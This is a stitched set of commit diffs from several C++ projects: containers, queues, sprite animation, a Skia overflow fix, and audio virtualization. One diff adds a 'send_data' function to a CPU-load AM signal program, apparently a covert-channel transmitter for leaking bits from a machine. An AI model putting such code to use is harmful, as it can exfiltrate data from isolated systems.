1; } else { elem = elem->Next; } } } int vlCollection::GetNumberOfItems() { return this->NumberOfItems; } vlObject *vlCollection::GetItem(int num) { int i; vlCollectionElement *elem; if ((num < 1) || (num > this->NumberOfItems)) { vlErrorMacro(<< ": Requesting illegal index\n"); return this->Top->Item; } elem = this->Top; for (i = 1; i < num; i++) { elem = elem->Next; } return (elem->Item); } void vlCollection::PrintSelf(ostream& os, vlIndent indent) { if (this->ShouldIPrint(vlCollection::GetClassName())) { vlObject::PrintSelf(os,indent); os << indent << "Number Of Items: " << this->NumberOfItems << "\n"; } } <commit_msg>ERR: Fixed bug in return value.<commit_after>/*========================================================================= Program: Visualization Library Module: Collect.cc Language: C++ Date: $Date$ Version: $Revision$ This file is part of the Visualization Library. No part of this file or its contents may be copied, reproduced or altered in any way without the express written consent of the authors. Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen 1993, 1994 =========================================================================*/ #include <stdlib.h> #include <iostream.h> #include <math.h> #include "Collect.hh" vlCollection::vlCollection() { this->NumberOfItems = 0; this->Top = NULL; this->Bottom = NULL; } void vlCollection::AddItem(vlObject *a) { vlCollectionElement *elem; elem = new vlCollectionElement; if (!this->Top) { this->Top = elem; } else { this->Bottom->Next = elem; } this->Bottom = elem; elem->Item = a; elem->Next = NULL; this->NumberOfItems++; } void vlCollection::RemoveItem(vlObject *a) { int i; vlCollectionElement *elem,*prev; if (!this->Top) return; elem = this->Top; prev = NULL; for (i = 0; i < this->NumberOfItems; i++) { if (elem->Item == a) { if (prev) { prev->Next = elem->Next; } else { this->Top = elem->Next; } if (!elem->Next) { this->Bottom = prev; } delete elem; this->NumberOfItems--; return; } else { prev = elem; elem = elem->Next; } } } int vlCollection::IsItemPresent(vlObject *a) { int i; vlCollectionElement *elem; if (!this->Top) return 0; elem = this->Top; for (i = 0; i < this->NumberOfItems; i++) { if (elem->Item == a) { return i + 1; } else { elem = elem->Next; } } return 0; } int vlCollection::GetNumberOfItems() { return this->NumberOfItems; } vlObject *vlCollection::GetItem(int num) { int i; vlCollectionElement *elem; if ((num < 1) || (num > this->NumberOfItems)) { vlErrorMacro(<< ": Requesting illegal index\n"); return this->Top->Item; } elem = this->Top; for (i = 1; i < num; i++) { elem = elem->Next; } return (elem->Item); } void vlCollection::PrintSelf(ostream& os, vlIndent indent) { if (this->ShouldIPrint(vlCollection::GetClassName())) { vlObject::PrintSelf(os,indent); os << indent << "Number Of Items: " << this->NumberOfItems << "\n"; } } <|endoftext|>
<commit_before>/* * File: RotatorMPMCQueue.hpp * Author: Barath Kannan * * Created on 25 September 2016, 12:04 AM */ #ifndef CONQ_ROTATORMPMCQUEUE_HPP #define CONQ_ROTATORMPMCQUEUE_HPP #include "CONQ/MPMCQueue.hpp" #include <thread> namespace CONQ{ template <typename T, size_t SUBQUEUES> class RotatorMPMCQueue{ public: RotatorMPMCQueue(){} void mpEnqueue(const T& input){ thread_local static size_t indx{acquireEnqueueIndx()}; q[indx].mpEnqueue(input); } bool mcDequeue(T& output){ thread_local static size_t indx{acquireDequeueIndx()}; for (size_t i=0; i<SUBQUEUES; ++i){ if (q[(indx+i)%SUBQUEUES].mcDequeue(output)) return true; } return false; } private: size_t acquireEnqueueIndx(){ size_t tmp = enqueueIndx.load(std::memory_order_relaxed); while(!enqueueIndx.compare_exchange_weak(tmp, (tmp+1)%SUBQUEUES)); return tmp; } size_t acquireDequeueIndx(){ size_t tmp = dequeueIndx.load(std::memory_order_relaxed); while(!dequeueIndx.compare_exchange_weak(tmp, (tmp+1)%SUBQUEUES)); return tmp; } std::atomic<size_t> enqueueIndx{0}; std::atomic<size_t> dequeueIndx{0}; std::array<MPMCQueue<T>, SUBQUEUES> q; RotatorMPMCQueue(const RotatorMPMCQueue&){}; void operator=(const RotatorMPMCQueue&){}; }; } #endif /* CONQ_ROTATORMPMCQUEUE_HPP */ <commit_msg>rotator queue now adapts to hotspots in subqueues<commit_after>/* * File: RotatorMPMCQueue.hpp * Author: Barath Kannan * Array of unbounded MPMC Queues. Enqueue operations are assigned a subqueue, * which is used for all enqueue operations occuring from that thread. The deque * operation maintains a list of subqueues on which a "hit" has occured - pertaining * to the subqueues from which a successful dequeue operation has occured. On a * successful dequeue operation, the queue that is used is pushed to the front of the * list. The "hit lists" allow the queue to adapt fairly well to different usage contexts, * including when there are more readers than writers, more writers than readers, * and high contention. This queue only performs worse in single-reader single-writer * contexts. * Created on 25 September 2016, 12:04 AM */ #ifndef CONQ_ROTATORMPMCQUEUE_HPP #define CONQ_ROTATORMPMCQUEUE_HPP #include "CONQ/MPMCQueue.hpp" #include <thread> #include <queue> namespace CONQ{ template <typename T, size_t SUBQUEUES> class RotatorMPMCQueue{ public: RotatorMPMCQueue(){ } void mpEnqueue(const T& input){ thread_local static size_t indx{acquireEnqueueIndx()}; q[indx].mpEnqueue(input); } bool mcDequeue(T& output){ thread_local static size_t indx{acquireDequeueIndx()}; thread_local static std::deque<size_t> hitList; thread_local static std::deque<size_t> noHitList; if (noHitList.empty() && hitList.empty()){ for (size_t i=0; i<SUBQUEUES; ++i){ noHitList.push_back((i+indx)%SUBQUEUES); } } for (auto it = hitList.begin(); it != hitList.end(); ++it){ size_t current = *it; if (q[current].mcDequeue(output)){ if (it != hitList.begin()){ hitList.erase(it); hitList.push_front(current); } return true; } } for (size_t i=0; i<noHitList.size(); ++i){ size_t front = noHitList.front(); if (q[front].mcDequeue(output)){ hitList.push_back(front); noHitList.pop_front(); return true; } noHitList.pop_front(); noHitList.push_back(front); } return false; } private: size_t acquireEnqueueIndx(){ size_t tmp = enqueueIndx.load(std::memory_order_relaxed); while(!enqueueIndx.compare_exchange_weak(tmp, (tmp+1)%SUBQUEUES)); return tmp; } size_t acquireDequeueIndx(){ size_t tmp = dequeueIndx.load(std::memory_order_relaxed); while(!dequeueIndx.compare_exchange_weak(tmp, (tmp+1)%SUBQUEUES)); return tmp; } std::atomic<size_t> enqueueIndx{0}; std::atomic<size_t> dequeueIndx{0}; std::array<MPMCQueue<T>, SUBQUEUES> q; RotatorMPMCQueue(const RotatorMPMCQueue&){}; void operator=(const RotatorMPMCQueue&){}; }; } #endif /* CONQ_ROTATORMPMCQUEUE_HPP */ <|endoftext|>
<commit_before>#ifndef ENGINE_SPRITENODE_HPP #define ENGINE_SPRITENODE_HPP #include "Node.hpp" #include "SFML/Graphics/Texture.hpp" #include <functional> namespace engine { class Animation { protected: std::vector<sf::IntRect> m_frames; bool m_looping; float m_speed; float m_currentTime; size_t m_currentFrame; public: Animation(); void SetLooping(bool looping); bool IsLooping() const; std::vector<sf::IntRect>& GetFrames(); void SetSpeed(float speed); float GetSpeed() const; void AddFrame(const sf::IntRect& frame); void Reset(); void Update(float delta); const sf::IntRect& GetCurrentTexture(); bool IsOver(); std::function<void(void)> OnOver; }; class SpriteNode : public Node { protected: const sf::Texture* m_texture; sf::Vertex m_vertices[4]; sf::IntRect m_textureRect; std::map<std::string, Animation*> m_animations; std::string m_currentAnimation; bool m_animated; std::string m_animationWhenDone; bool m_vFlipped; public: SpriteNode(Scene* scene); virtual ~SpriteNode(); void SetTexture(std::string path, const sf::IntRect* rect = nullptr); void SetTexture(sf::Texture* texture, const sf::IntRect* rect = nullptr); virtual bool initialize(Json::Value& root); virtual uint8_t GetType() const; void PlayAnimation(std::string name, std::string after = ""); Animation* GetAnimation(); virtual void SetFlipped(bool flipped); virtual void SetVFlipped(bool flipped); virtual void SetSize(sf::Vector2f size); std::string GetAnimationName() const { return m_currentAnimation; } sf::IntRect& GetTextureRect() { return m_textureRect; } bool IsVFlipped() const { return m_vFlipped; } void SetColor(const sf::Color& color) { m_vertices[0].color = color; m_vertices[1].color = color; m_vertices[2].color = color; m_vertices[3].color = color; } protected: void UpdatePosition(); void UpdateTexCoords(); protected: virtual void OnDraw(sf::RenderTarget& target, sf::RenderStates states, float delta); }; } #endif <commit_msg>Add Animation::GetCurrentFrame<commit_after>#ifndef ENGINE_SPRITENODE_HPP #define ENGINE_SPRITENODE_HPP #include "Node.hpp" #include "SFML/Graphics/Texture.hpp" #include <functional> namespace engine { class Animation { protected: std::vector<sf::IntRect> m_frames; bool m_looping; float m_speed; float m_currentTime; size_t m_currentFrame; public: Animation(); void SetLooping(bool looping); bool IsLooping() const; std::vector<sf::IntRect>& GetFrames(); void SetSpeed(float speed); float GetSpeed() const; void AddFrame(const sf::IntRect& frame); void Reset(); void Update(float delta); const sf::IntRect& GetCurrentTexture(); bool IsOver(); std::function<void(void)> OnOver; size_t GetCurrentFrame() { return m_currentFrame; } }; class SpriteNode : public Node { protected: const sf::Texture* m_texture; sf::Vertex m_vertices[4]; sf::IntRect m_textureRect; std::map<std::string, Animation*> m_animations; std::string m_currentAnimation; bool m_animated; std::string m_animationWhenDone; bool m_vFlipped; public: SpriteNode(Scene* scene); virtual ~SpriteNode(); void SetTexture(std::string path, const sf::IntRect* rect = nullptr); void SetTexture(sf::Texture* texture, const sf::IntRect* rect = nullptr); virtual bool initialize(Json::Value& root); virtual uint8_t GetType() const; void PlayAnimation(std::string name, std::string after = ""); Animation* GetAnimation(); virtual void SetFlipped(bool flipped); virtual void SetVFlipped(bool flipped); virtual void SetSize(sf::Vector2f size); std::string GetAnimationName() const { return m_currentAnimation; } sf::IntRect& GetTextureRect() { return m_textureRect; } bool IsVFlipped() const { return m_vFlipped; } void SetColor(const sf::Color& color) { m_vertices[0].color = color; m_vertices[1].color = color; m_vertices[2].color = color; m_vertices[3].color = color; } protected: void UpdatePosition(); void UpdateTexCoords(); protected: virtual void OnDraw(sf::RenderTarget& target, sf::RenderStates states, float delta); }; } #endif <|endoftext|>
<commit_before>#include "SkEndian.h" #include "SkFontHost.h" #include "SkStream.h" struct SkSFNTHeader { uint32_t fVersion; uint16_t fNumTables; uint16_t fSearchRange; uint16_t fEntrySelector; uint16_t fRangeShift; }; struct SkTTCFHeader { uint32_t fTag; uint32_t fVersion; uint32_t fNumOffsets; uint32_t fOffset0; // the first of N (fNumOffsets) }; union SkSharedTTHeader { SkSFNTHeader fSingle; SkTTCFHeader fCollection; }; struct SkSFNTDirEntry { uint32_t fTag; uint32_t fChecksum; uint32_t fOffset; uint32_t fLength; }; static int count_tables(SkStream* stream, size_t* offsetToDir = NULL) { SkSharedTTHeader shared; if (stream->read(&shared, sizeof(shared)) != sizeof(shared)) { return 0; } uint32_t tag = SkEndian_SwapBE32(shared.fCollection.fTag); if (SkSetFourByteTag('t', 't', 'c', 'f') == tag) { if (shared.fCollection.fNumOffsets == 0) { return 0; } size_t offset = SkEndian_SwapBE32(shared.fCollection.fOffset0); stream->rewind(); if (stream->skip(offset) != offset) { return 0; } if (stream->read(&shared, sizeof(shared)) != sizeof(shared)) { return 0; } if (offsetToDir) { *offsetToDir = offset; } } return SkEndian_SwapBE16(shared.fSingle.fNumTables); } /////////////////////////////////////////////////////////////////////////////// struct SfntHeader { SfntHeader() : fCount(0), fDir(NULL) {} ~SfntHeader() { sk_free(fDir); } bool init(SkStream* stream) { size_t offsetToDir; fCount = count_tables(stream, &offsetToDir); if (0 == fCount) { return false; } stream->rewind(); if (stream->skip(offsetToDir) != offsetToDir) { return false; } size_t size = fCount * sizeof(SkSFNTDirEntry); fDir = reinterpret_cast<SkSFNTDirEntry*>(sk_malloc_throw(size)); return stream->read(fDir, size) == size; } int fCount; SkSFNTDirEntry* fDir; }; /////////////////////////////////////////////////////////////////////////////// int SkFontHost::CountTables(SkFontID fontID) { SkStream* stream = SkFontHost::OpenStream(fontID); if (NULL == stream) { return 0; } SkAutoUnref au(stream); return count_tables(stream); } int SkFontHost::GetTableTags(SkFontID fontID, SkFontTableTag tags[]) { SkStream* stream = SkFontHost::OpenStream(fontID); if (NULL == stream) { return 0; } SkAutoUnref au(stream); SfntHeader header; if (!header.init(stream)) { return 0; } for (int i = 0; i < header.fCount; i++) { tags[i] = SkEndian_SwapBE32(header.fDir[i].fTag); } return header.fCount; } size_t SkFontHost::GetTableSize(SkFontID fontID, SkFontTableTag tag) { SkStream* stream = SkFontHost::OpenStream(fontID); if (NULL == stream) { return 0; } SkAutoUnref au(stream); SfntHeader header; if (!header.init(stream)) { return 0; } for (int i = 0; i < header.fCount; i++) { if (SkEndian_SwapBE32(header.fDir[i].fTag) == tag) { return SkEndian_SwapBE32(header.fDir[i].fLength); } } return 0; } size_t SkFontHost::GetTableData(SkFontID fontID, SkFontTableTag tag, size_t offset, size_t length, void* data) { SkStream* stream = SkFontHost::OpenStream(fontID); if (NULL == stream) { return 0; } SkAutoUnref au(stream); SfntHeader header; if (!header.init(stream)) { return 0; } for (int i = 0; i < header.fCount; i++) { if (SkEndian_SwapBE32(header.fDir[i].fTag) == tag) { size_t realOffset = SkEndian_SwapBE32(header.fDir[i].fOffset); size_t realLength = SkEndian_SwapBE32(header.fDir[i].fLength); // now sanity check the caller's offset/length if (offset >= realLength) { return 0; } if (offset + length > realLength) { length = realLength - offset; } // skip the stream to the part of the table we want to copy from stream->rewind(); size_t bytesToSkip = realOffset + offset; if (stream->skip(bytesToSkip) != bytesToSkip) { return 0; } if (stream->read(data, length) != length) { return 0; } return length; } } return 0; } <commit_msg>SkFontHost_tables: fix minor bugs<commit_after>#include "SkEndian.h" #include "SkFontHost.h" #include "SkStream.h" struct SkSFNTHeader { uint32_t fVersion; uint16_t fNumTables; uint16_t fSearchRange; uint16_t fEntrySelector; uint16_t fRangeShift; }; struct SkTTCFHeader { uint32_t fTag; uint32_t fVersion; uint32_t fNumOffsets; uint32_t fOffset0; // the first of N (fNumOffsets) }; union SkSharedTTHeader { SkSFNTHeader fSingle; SkTTCFHeader fCollection; }; struct SkSFNTDirEntry { uint32_t fTag; uint32_t fChecksum; uint32_t fOffset; uint32_t fLength; }; static int count_tables(SkStream* stream, size_t* offsetToDir = NULL) { SkSharedTTHeader shared; if (stream->read(&shared, sizeof(shared)) != sizeof(shared)) { return 0; } uint32_t tag = SkEndian_SwapBE32(shared.fCollection.fTag); if (SkSetFourByteTag('t', 't', 'c', 'f') == tag) { if (shared.fCollection.fNumOffsets == 0) { return 0; } size_t offset = SkEndian_SwapBE32(shared.fCollection.fOffset0); stream->rewind(); if (stream->skip(offset) != offset) { return 0; } if (stream->read(&shared, sizeof(shared)) != sizeof(shared)) { return 0; } if (offsetToDir) { *offsetToDir = offset; } } else { *offsetToDir = 0; } return SkEndian_SwapBE16(shared.fSingle.fNumTables); } /////////////////////////////////////////////////////////////////////////////// struct SfntHeader { SfntHeader() : fCount(0), fDir(NULL) {} ~SfntHeader() { sk_free(fDir); } bool init(SkStream* stream) { size_t offsetToDir; fCount = count_tables(stream, &offsetToDir); if (0 == fCount) { return false; } stream->rewind(); const size_t tableRecordOffset = offsetToDir + sizeof(SkSFNTHeader); if (stream->skip(tableRecordOffset) != tableRecordOffset) { return false; } size_t size = fCount * sizeof(SkSFNTDirEntry); fDir = reinterpret_cast<SkSFNTDirEntry*>(sk_malloc_throw(size)); return stream->read(fDir, size) == size; } int fCount; SkSFNTDirEntry* fDir; }; /////////////////////////////////////////////////////////////////////////////// int SkFontHost::CountTables(SkFontID fontID) { SkStream* stream = SkFontHost::OpenStream(fontID); if (NULL == stream) { return 0; } SkAutoUnref au(stream); return count_tables(stream); } int SkFontHost::GetTableTags(SkFontID fontID, SkFontTableTag tags[]) { SkStream* stream = SkFontHost::OpenStream(fontID); if (NULL == stream) { return 0; } SkAutoUnref au(stream); SfntHeader header; if (!header.init(stream)) { return 0; } for (int i = 0; i < header.fCount; i++) { tags[i] = SkEndian_SwapBE32(header.fDir[i].fTag); } return header.fCount; } size_t SkFontHost::GetTableSize(SkFontID fontID, SkFontTableTag tag) { SkStream* stream = SkFontHost::OpenStream(fontID); if (NULL == stream) { return 0; } SkAutoUnref au(stream); SfntHeader header; if (!header.init(stream)) { return 0; } for (int i = 0; i < header.fCount; i++) { if (SkEndian_SwapBE32(header.fDir[i].fTag) == tag) { return SkEndian_SwapBE32(header.fDir[i].fLength); } } return 0; } size_t SkFontHost::GetTableData(SkFontID fontID, SkFontTableTag tag, size_t offset, size_t length, void* data) { SkStream* stream = SkFontHost::OpenStream(fontID); if (NULL == stream) { return 0; } SkAutoUnref au(stream); SfntHeader header; if (!header.init(stream)) { return 0; } for (int i = 0; i < header.fCount; i++) { if (SkEndian_SwapBE32(header.fDir[i].fTag) == tag) { size_t realOffset = SkEndian_SwapBE32(header.fDir[i].fOffset); size_t realLength = SkEndian_SwapBE32(header.fDir[i].fLength); // now sanity check the caller's offset/length if (offset >= realLength) { return 0; } // if the caller is trusting the length from the file, then a // hostile file might choose a value which would overflow offset + // length. if (offset + length < offset) { return 0; } if (offset + length > realLength) { length = realLength - offset; } // skip the stream to the part of the table we want to copy from stream->rewind(); size_t bytesToSkip = realOffset + offset; if (stream->skip(bytesToSkip) != bytesToSkip) { return 0; } if (stream->read(data, length) != length) { return 0; } return length; } } return 0; } <|endoftext|>
<commit_before>#include <iostream> #include <iomanip> #include <chrono> #include <arm_neon.h> #include <stdlib.h> #include <inttypes.h> #include <thread> #include <mutex> #include <condition_variable> #include <signal.h> std::mutex m ; std::condition_variable cv ; std::chrono::high_resolution_clock::time_point mid ; std::chrono::high_resolution_clock::time_point reset ; int32x4_t va; std::int32_t a ; std::int32_t * ptr; std::int32_t n = 2500; std::int64_t size = sizeof(a)*n; std::int32_t limit = n-4; std::int32_t data_bit[] = {1, 0, 0, 1}; void inline sig_handler(int sign) { free(ptr); std::cout << "\nReceived signal. aborting." << std::endl ; exit(-1); } void inline boost_song() { using namespace std::chrono ; int i{0} ; while( true ) { std::unique_lock<std::mutex> lk{m} ; cv.wait( lk ) ; while( high_resolution_clock::now() < end ) { int32_t var[4] = { *(ptr + i), *(ptr + i + 2), *(ptr + i + 3), *(ptr + i + 4) }; va = vld1q_s32(var); i++; if(i==limit) i=0; } std::this_thread::sleep_until( reset ) ; } } int init_memory(void) { ptr = (int32_t *)malloc(size); if( ptr == NULL ){ std::cout << "Malloc Error" << std::endl; return -1; } for(int i=0; i<=n; i++){ ptr[i] = i; } return 0; } void square_am_signal(float time) { using namespace std::chrono ; seconds const sec{1} ; nanoseconds const nsec{ sec } ; using rep = nanoseconds::rep ; auto nsec_per_sec = nsec.count() ; auto start = high_resolution_clock::now() ; auto const end = start + nanoseconds( static_cast<rep>(0.1 * nsec_per_sec) ) ; while (high_resolution_clock::now() < end) { cv.notify_all() ; std::this_thread::sleep_until( end ) ; start = reset; } } int main(){ signal(SIGINT, sig_handler); init_memory(); for ( unsigned i = 0 ; i < std::thread::hardware_concurrency() ; ++i ) { std::thread t( boost_song ) ; t.detach() ; } square_am_signal(0.05); free(ptr); return 0; } <commit_msg>add send_data func<commit_after>#include <iostream> #include <iomanip> #include <chrono> #include <arm_neon.h> #include <stdlib.h> #include <inttypes.h> #include <thread> #include <mutex> #include <condition_variable> #include <signal.h> std::mutex m ; std::condition_variable cv ; std::chrono::high_resolution_clock::time_point mid ; std::chrono::high_resolution_clock::time_point reset ; int32x4_t va; std::int32_t a ; std::int32_t * ptr; std::int32_t n = 2500; std::int64_t size = sizeof(a)*n; std::int32_t limit = n-4; std::int32_t data_bit[] = {1, 0, 0, 1}; void inline sig_handler(int sign) { free(ptr); std::cout << "\nReceived signal. aborting." << std::endl ; exit(-1); } void inline boost_song() { using namespace std::chrono ; int i{0} ; while( true ) { std::unique_lock<std::mutex> lk{m} ; cv.wait( lk ) ; while( high_resolution_clock::now() < end ) { int32_t var[4] = { *(ptr + i), *(ptr + i + 2), *(ptr + i + 3), *(ptr + i + 4) }; va = vld1q_s32(var); i++; if(i==limit) i=0; } std::this_thread::sleep_until( reset ) ; } } int init_memory(void) { ptr = (int32_t *)malloc(size); if( ptr == NULL ){ std::cout << "Malloc Error" << std::endl; return -1; } for(int i=0; i<=n; i++){ ptr[i] = i; } return 0; } void send_data(float time) { using namespace std::chrono ; seconds const sec{1} ; nanoseconds const nsec{ sec } ; using rep = nanoseconds::rep ; auto nsec_per_sec = nsec.count() ; for(int32_t d : data_bit){ auto start = high_resolution_clock::now() ; auto const end = start + nanoseconds( static_cast<rep>(time * nsec_per_sec) ) ; if( d == 1 ){ std::cout << "Detected 1 bit" << std::endl; while (high_resolution_clock::now() < end) { cv.notify_all() ; std::this_thread::sleep_until( end ) ; start = reset; } } else{ std::this_thread::sleep_until( end ) ; } } } int main(){ signal(SIGINT, sig_handler); init_memory(); for ( unsigned i = 0 ; i < std::thread::hardware_concurrency() ; ++i ) { std::thread t( boost_song ) ; t.detach() ; } send_data(0.05); free(ptr); return 0; } <|endoftext|>
<commit_before>#include "DSVSCA.h" int DSVSCA::process_filter_graph(process_info info) { AVPacket packet, packet0; AVFrame *frame = av_frame_alloc(); AVFrame *filt_frame = av_frame_alloc(); AVFrame *comb_virt_frame = av_frame_alloc(); int got_frame; std::unordered_map<Filter::Channel, Virtualizer*, std::hash<int>> c2v_; complete_sofa sofa_; AVPacket packet_out; AVPacket comb_packet_out; int got_output; Encoder *encoder = new Encoder(AV_CODEC_ID_AC3, info.format->decoder_ctx->bit_rate, AV_SAMPLE_FMT_FLTP); SJoin *sjoin = new SJoin(encoder); long total_duration = info.format->format_ctx->duration / (long)AV_TIME_BASE; uint64_t total_sample_count = 0; uint64_t samples_completed = 0; int ret = 0; AVOutputFormat *ofmt = NULL; AVFormatContext *ofmt_ctx = NULL; size_t index_of_ext = info.video_file_name.find_last_of('.'); std::string out_filename_str; if (index_of_ext == std::string::npos) out_filename_str = info.video_file_name + "-virtualized"; else out_filename_str = info.video_file_name.substr(0, index_of_ext) + "-virtualized" + info.video_file_name.substr(index_of_ext); const char *out_filename = out_filename_str.c_str(); avformat_alloc_output_context2(&ofmt_ctx, NULL, NULL, out_filename); if(!ofmt_ctx) { av_log(NULL, AV_LOG_ERROR, "Could not create output context!\n"); exit(1); } ofmt = ofmt_ctx->oformat; for(int i = 0; i < info.format->format_ctx->nb_streams; i++) { AVStream *in_stream = info.format->format_ctx->streams[i]; AVStream *out_stream = avformat_new_stream(ofmt_ctx, in_stream->codec->codec); if(!out_stream) { av_log(NULL, AV_LOG_ERROR, "Failed to allocate output stream!\n"); exit(1); } ret = avcodec_copy_context(out_stream->codec, in_stream->codec); out_stream->codec->codec_tag = 0; if(ret < 0) { av_log(NULL, AV_LOG_ERROR, "Failed to copy context from input to output stream codec context\n"); exit(1); } if(ofmt_ctx->oformat->flags & AVFMT_GLOBALHEADER) out_stream->codec->flags |= CODEC_FLAG_GLOBAL_HEADER; } av_dump_format(ofmt_ctx, 0, out_filename, 1); if(!(ofmt->flags & AVFMT_NOFILE)) { ret = avio_open(&ofmt_ctx->pb, out_filename, AVIO_FLAG_WRITE); if(ret < 0) { av_log(NULL, AV_LOG_ERROR, "Unable to open output file\n"); exit(1); } } ret = avformat_write_header(ofmt_ctx, NULL); if(ret < 0) { av_log(NULL, AV_LOG_ERROR, "Error opening file to write header\n"); exit(1); } /* Read all of the packets */ packet0.data = NULL; packet.data = NULL; while(1) { if(!packet0.data) { ret = av_read_frame(info.format->format_ctx, &packet); if(ret < 0) break; packet0 = packet; } //in_stream = ifmt_ctx->streams[packet.stream_index]; //out_stream = ofmt_ctx->streams[packet.stream_index]; if(packet.stream_index == 0) { ret = av_interleaved_write_frame(ofmt_ctx, &packet0); if(ret < 0) { av_log(NULL, AV_LOG_ERROR, "Error muxing video packet\n"); } } if(packet.stream_index == info.format->audio_stream_index) { got_frame = 0; ret = avcodec_decode_audio4(info.format->decoder_ctx, frame, &got_frame, &packet); if(ret < 0) { av_log(NULL, AV_LOG_ERROR, "Error decoding audio\n"); continue; } packet.size -= ret; packet.data += ret; if(got_frame) { /* push audio from decoded frame through filter graph */ if(av_buffersrc_add_frame_flags(info.filter->abuffer_ctx, frame, 0) < 0) { av_log(NULL, AV_LOG_ERROR, "Error feeding into filter graph\n"); break; } int i ; int frame_sample_count = 0; while(ret >= 0) { // This is where you will work with each processed frame. i = 0; for (auto it = info.filter->abuffersink_ctx_map.begin(); it != info.filter->abuffersink_ctx_map.end(); it++) { ret = av_buffersink_get_frame(it->second, filt_frame); if(ret == AVERROR(EAGAIN) || ret == AVERROR_EOF) break; int sample_count = filt_frame->nb_samples; int sample_rate = filt_frame->sample_rate; if (total_sample_count == 0) total_sample_count = total_duration * sample_rate; if (frame_sample_count == 0) frame_sample_count = sample_count; if (c2v_.count(it->first) == 0) { float x_y_z[3]; if (info.coords.count(it->first) == 0) Filter::get_coords(it->first, &x_y_z[0], &x_y_z[1], &x_y_z[2]); else { x_y_z[0] = info.coords.at(it->first).x; x_y_z[1] = info.coords.at(it->first).y; x_y_z[2] = info.coords.at(it->first).z; if (info.coord_type == Filter::Spherical) mysofa_s2c(x_y_z); } if (sofa_.hrtf == NULL) { Virtualizer * virt = new Virtualizer(info.sofa_file_name.c_str(), sample_rate, x_y_z[0], x_y_z[1], x_y_z[2], info.block_size); c2v_.insert(std::make_pair(it->first, virt)); sofa_ = virt->get_hrtf(); } else { Virtualizer * virt = new Virtualizer(sofa_, sample_rate, x_y_z[0], x_y_z[1], x_y_z[2], info.block_size); c2v_.insert(std::make_pair(it->first, virt)); } } float * samples = Virtualizer::get_float_samples(filt_frame->extended_data[0], info.format->decoder_ctx->sample_fmt, sample_count); float ** float_results = c2v_[it->first]->process(samples, sample_count); uint8_t * result_l = Virtualizer::get_short_samples(float_results[0], info.format->decoder_ctx->sample_fmt, sample_count); uint8_t * result_r = Virtualizer::get_short_samples(float_results[1], info.format->decoder_ctx->sample_fmt, sample_count); delete[] float_results[0]; delete[] float_results[1]; delete[] float_results; delete[] samples; AVFrame *virt_frame = encoder->new_frame(encoder->codec_ctx, result_r, result_l); virt_frame->format = AV_SAMPLE_FMT_FLTP; virt_frame->sample_rate = 48000; virt_frame->channel_layout = 3; //av_log(NULL, AV_LOG_INFO, "%d ", i); if(av_buffersrc_add_frame_flags(sjoin->abuffers_ctx[i], virt_frame, 0) < 0) av_log(NULL, AV_LOG_ERROR, "Error feeding into filtergraph\n"); av_frame_unref(filt_frame); i++; } if(ret == AVERROR(EAGAIN) || ret == AVERROR_EOF) break; ret = av_buffersink_get_frame(sjoin->abuffersink_ctx, comb_virt_frame); if(ret < 0) { av_log(NULL, AV_LOG_ERROR, "No virtualization frame %d\n", ret); continue; } av_init_packet(&comb_packet_out); comb_packet_out.data = NULL; comb_packet_out.size = 0; ret = avcodec_encode_audio2(encoder->codec_ctx, &comb_packet_out, comb_virt_frame, &got_output); if(ret < 0) { av_log(NULL, AV_LOG_ERROR, "Error encoding comb frame %d\n", ret); exit(1); } uint8_t* data = comb_packet_out.data; av_copy_packet(&comb_packet_out, &packet0); comb_packet_out.data = data; ret = av_interleaved_write_frame(ofmt_ctx, &comb_packet_out); if(ret < 0) { av_log(NULL, AV_LOG_ERROR, "Error muxing video packet\n"); } av_free_packet(&comb_packet_out); av_frame_unref(comb_virt_frame); } samples_completed += frame_sample_count; } if(packet.size <= 0) av_free_packet(&packet0); } else { av_free_packet(&packet0); } if (total_sample_count != 0) { int completion = (100 * samples_completed) / total_sample_count; if (completion > 100) completion = 100; info.progress->store(completion); } } for (auto it = c2v_.begin(); it != c2v_.end(); it++) delete it->second; av_write_trailer(ofmt_ctx); avformat_close_input(&info.format->format_ctx); if(ofmt_ctx && !(ofmt->flags & AVFMT_NOFILE)) avio_close(ofmt_ctx->pb); avformat_free_context(ofmt_ctx); av_frame_free(&frame); av_frame_free(&filt_frame); av_frame_free(&comb_virt_frame); if(ret < 0 && ret != AVERROR_EOF) { av_log(NULL, AV_LOG_ERROR, "Error occured while closing out: %d\n", ret); return ret; } } <commit_msg>Stopped virtualizing the bass.<commit_after>#include "DSVSCA.h" int DSVSCA::process_filter_graph(process_info info) { AVPacket packet, packet0; AVFrame *frame = av_frame_alloc(); AVFrame *filt_frame = av_frame_alloc(); AVFrame *comb_virt_frame = av_frame_alloc(); int got_frame; std::unordered_map<Filter::Channel, Virtualizer*, std::hash<int>> c2v_; complete_sofa sofa_; AVPacket packet_out; AVPacket comb_packet_out; int got_output; Encoder *encoder = new Encoder(AV_CODEC_ID_AC3, info.format->decoder_ctx->bit_rate, AV_SAMPLE_FMT_FLTP); SJoin *sjoin = new SJoin(encoder); long total_duration = info.format->format_ctx->duration / (long)AV_TIME_BASE; uint64_t total_sample_count = 0; uint64_t samples_completed = 0; int ret = 0; AVOutputFormat *ofmt = NULL; AVFormatContext *ofmt_ctx = NULL; size_t index_of_ext = info.video_file_name.find_last_of('.'); std::string out_filename_str; if (index_of_ext == std::string::npos) out_filename_str = info.video_file_name + "-virtualized"; else out_filename_str = info.video_file_name.substr(0, index_of_ext) + "-virtualized" + info.video_file_name.substr(index_of_ext); const char *out_filename = out_filename_str.c_str(); avformat_alloc_output_context2(&ofmt_ctx, NULL, NULL, out_filename); if(!ofmt_ctx) { av_log(NULL, AV_LOG_ERROR, "Could not create output context!\n"); exit(1); } ofmt = ofmt_ctx->oformat; for(int i = 0; i < info.format->format_ctx->nb_streams; i++) { AVStream *in_stream = info.format->format_ctx->streams[i]; AVStream *out_stream = avformat_new_stream(ofmt_ctx, in_stream->codec->codec); if(!out_stream) { av_log(NULL, AV_LOG_ERROR, "Failed to allocate output stream!\n"); exit(1); } ret = avcodec_copy_context(out_stream->codec, in_stream->codec); out_stream->codec->codec_tag = 0; if(ret < 0) { av_log(NULL, AV_LOG_ERROR, "Failed to copy context from input to output stream codec context\n"); exit(1); } if(ofmt_ctx->oformat->flags & AVFMT_GLOBALHEADER) out_stream->codec->flags |= CODEC_FLAG_GLOBAL_HEADER; } av_dump_format(ofmt_ctx, 0, out_filename, 1); if(!(ofmt->flags & AVFMT_NOFILE)) { ret = avio_open(&ofmt_ctx->pb, out_filename, AVIO_FLAG_WRITE); if(ret < 0) { 